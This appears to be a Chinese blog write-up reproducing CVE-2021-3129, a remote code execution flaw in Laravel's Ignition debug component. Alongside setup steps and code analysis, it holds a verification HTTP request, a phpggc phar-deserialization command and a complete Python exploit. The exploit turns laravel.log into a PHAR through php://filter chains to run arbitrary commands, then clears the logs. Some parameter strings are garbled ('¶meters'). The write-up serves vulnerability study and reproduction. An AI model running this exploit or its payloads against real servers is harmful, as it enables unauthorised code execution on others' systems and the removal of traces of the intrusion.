漏洞概述
在Laravel8.4.2之前,由于Ignition组件(版本小于2.5.2)中MakeViewVariableOptionalSolution.php的file_get_contents()和file_put_contents()使用不安全,未经身份验证的远程攻击者可以执行任意代码。
Ignition:Laravel6.0开始Ignition成为默认的错误页面,具有一些美观的 Laravel 特定功能,可以使调试异常和堆栈跟踪变得更加方便。在Solutions目录下定义了一些特定情况下的solutions,可以通过点击修复按钮时执行run
函数完成调用。更多内容可以通过文章Laravel Ignition 功能全解析了解。
影响范围
-
Laravel<=8.4.2
-
Ignition组件<2.5.2
环境搭建
composer create-project --prefer-dist laravel/laravel laraveldemo 8.4.2
cd laraveldemo
composer install # 运行报错的看下面和我遇到的问题是不是一样的
composer require facade/ignition==2.5.1 # 下载有漏洞的组件
php artisan key:generate # 生成密钥
php artisan serve --host=0.0.0.0 # 启动服务
检查.env
中APP_DEBUG是否开启
问题
Q:不能运行composer install
命令
错误信息:Problem 1 - phpunit/phpunit[9.3.3, ..., 9.5.x-dev] require ext-dom * -> it is missing from your system. Install or enable PHP's dom extension. - Root composer.json requires phpunit/phpunit ^9.3.3 -> satisfiable by phpunit/phpunit[9.3.3, ..., 9.5.x-dev].
A:sudo apt-get install php-xml
漏洞分析
触发solution
通过上面的介绍我们可知solution的触发方法是通过修复按钮,究其原因还是向_ignition/execute-solution
路由发送数据调用对应的solution:
vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php/ExecuteSolutionController
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
然后进入vendor/facade/ignition/src/Http/Requests/ExecuteSolutionRequest.php
查找solution并定义参数规则:
参数规则
public function rules(): array
{
return [
'solution' => 'required',
'parameters' => 'array',
];
}
file_get_contents()
知道参数规则再结合solution内部定义的getRunParameters方法我们可以知道该传什么值。
vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution/MakeViewVariableOptionalSolution::getRunParameters
public function getRunParameters(): array
{
return [
'variableName' => $this->variableName,
'viewFile' => $this->viewFile,
];
}
POST传
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=cve-2021-2149¶meters[viewFile]=tyskill
直接进入run函数
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
然后进入makeOptional函数
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
可以看到传入的viewFile参数直接被file_get_contents读取,没有经过任何过滤。当然,这里还不是终点,还要看看后面有没有对读取内容作出修改。不过对于我们传入的tyskill这个字符串来说,这里已经是它的终点了,因为file_get_contents读不到这个文件,那就换一个可以读到的/etc/passwd
,读取的内容再经过'$'.$parameters['variableName']
的替换后赋给了$newContents变量,不是很理解为什么要这样替换,继续向下看。
文件内容过滤(maybe)
替换后的文件内容经过token_get_all解析(解析参照解析器代号列表文档说明)赋值给newtokens,然后与经过generateExpectedTokens方法处理的originalTokens变量比较
看一下generateExpectedTokens方法
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
这段代码看起来麻烦,但逻辑很简单,就是在'$'.$variableName
后面添加空格??空格''
,与上面的正则替换差不多。
本地尝试了两种方法的比较后明白了区别,由于token_get_all解析结果与是否满足php结构有关,所以文件内容是否满足php结构就非常重要,通过下面代码可知这样的过滤方法只适用于非php的且有$
符号的文件(太菜了,想不出应用
function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
$parameters['variableName']="a";
$originalContents = "abc"; // false
// $originalContents = "$a;$a;"; // true
// $originalContents = " $a;$a;"; // false
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all($originalContents);
$newTokens = token_get_all($newContents);
$conTokens = generateExpectedTokens($originalTokens, $parameters['variableName']);
// var_dump($originalTokens);
// var_dump($newTokens);
var_dump($conTokens!==$newTokens);
不过正常来说这玩意看着也过滤不了什么吧?变量名都是可控的,绕一下也不是很困难。。。后面就没什么过滤了,直接就file_put_contents($parameters['viewFile'], $output);
写回到原文件了。
漏洞利用
这个漏洞应该相当于一个任意操作的file_get_contents()函数,攻击面完全取决于知识面。
漏洞验证
Accept: application/json可加可不加
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.150.130:8000
Accept: application/json
Content-Type: application/json
Content-Length: 177
{
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve-2021-3129",
"viewFile": "tyskill"
}
}
除此之外,寻常的POST传值也可以使用
注意:这种方法在不同的插件中POST效果不同,主要是因为
\
在POST时有的插件不会将其转义为,POST数据编码会出现
%5C%5c
,只要将其改为%5C
即可。
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=tyskill
出现报错页面即存在此漏洞
phar反序列化RCE
从phpggc拿一条可用的链子生成phar图片
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /var/www/html/tyskill.gif
然后POST向/_ignition/execute-solution
传
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=phar:///var/www/html/tyskill.gif/test.txt
Poc
#!/usr/bin/env python3
import requests
import subprocess
import re
import os
import sys
# Send a post request with a specific viewFile value, returning HTTP response
def send(url='', viewfile=''):
headers = {
"Accept": "application/json"
}
data = {
"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "whateverYouWant",
"viewFile": ""
}
}
data['parameters']['viewFile'] = viewfile
resp = requests.post(url, json=data, headers=headers, verify=False)
return resp
# Generate payload and return it as text
def generate(chain='', command=''):
# Ensure that we have PHPGGC in current directory, if not we'll clone it
if os.path.exists("phpggc"):
print("[+] PHPGGC found. Generating payload and deploy it to the target")
else:
print("[i] PHPGGC not found. Cloning it")
os.system("git clone https://github.com/ambionics/phpggc.git")
payload = subprocess.getoutput(
r"php -d'phar.readonly=0' ./phpggc/phpggc '%s' system '%s' --phar phar -o php://output | base64 -w0 | "
r"sed -E 's/./=00/g; s/==/=3D=/g; s/$/=00/g'" % (chain, command))
return payload
# Clear logs,
def clear(url):
print("[i] Trying to clear logs")
while (send(url,
"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf"
"-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log").status_code != 200):
continue
print("[+] Logs cleared")
if __name__ == '__main__':
if len(sys.argv) < 4:
print("Usage: %s <URL> <CHAIN> <CMD>" % sys.argv[0])
print("Example: %s http(s)://localhost:8000 Monolog/RCE1 whoami" % sys.argv[0])
print("I recommend to use Monolog/RCE1 or Monolog/RCE2 as CHAIN")
exit(1)
url = sys.argv[1] + "/_ignition/execute-solution"
chain = sys.argv[2]
command = sys.argv[3]
# Step 1. Clear logs, write the first log entry
clear(url)
send(url, "AA")
# Step 3. Write the second log entry with encoded PHAR payload
send(url, generate(chain, command))
# Step 4. Convert log file to a valid PHAR
if (send(url,
"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64"
"-decode/resource=../storage/logs/laravel.log").status_code == 200):
print("[+] Successfully converted logs to PHAR")
else:
print("[-] Fail to convert logs to PHAR")
# Step 5. Trigger PHAR deserialization, extract the output
response = send(url, "phar://../storage/logs/laravel.log")
result = re.sub("{[sS]*}", "", response.text)
if result:
print("[+] PHAR deserialized. Exploitedn")
print(result)
else:
print("[i] There is no output")
# Clear logs
clear(url)
参考链接
https://tyskill.github.io/posts/cve_2021_3129/
https://www.anquanke.com/post/id/231459
https://github.com/nth347/CVE-2021-3129_exploit/blob/master/exploit.py
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(无问之路):Laravel Debug mode RCE复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论